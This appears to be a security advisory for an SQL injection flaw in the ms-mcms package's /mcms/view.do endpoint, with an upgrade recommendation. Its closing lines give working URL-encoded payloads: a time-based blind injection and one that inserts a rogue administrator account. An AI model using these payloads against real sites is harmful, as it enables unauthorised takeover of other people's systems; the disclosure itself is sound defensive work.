Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applicationsUpgrade net.mingsoft:ms-mcms
to version 5.1 or higher.
Affected versions of this package are vulnerable to SQL Injection via the orderby
parameter which isn't handled correctly through the /mcms/view.do
endpoint while unauthenticated.
<ms-mcms address>:<port>/ms-mcms/mcms/view.do?id=<id number>
.1.1) Whenever an ID is unavailable you will receive an error, otherwise it'll be a status code 200.
Once an ID is found, browse to: <ms-mcms address>:<port>/ms-mcms/mcms/view.do?id=<the id that is available>&&order=desc&orderby=content_category_id%60,(select%201%20from%20(select%20if(1=1,sleep(3),sleep(0)))a)%23
It is also possible to inject an admin account: `:/ms-mcms/mcms/view.do?id=221&&order=desc&orderby=content_category_id%60;insert%20into%20manager%20(manager_name,manager_nickname,manager_password,manager_roleid)%20values%20('admin','admin','9d8622060de5f24937b60585c3f4d66b',48)%23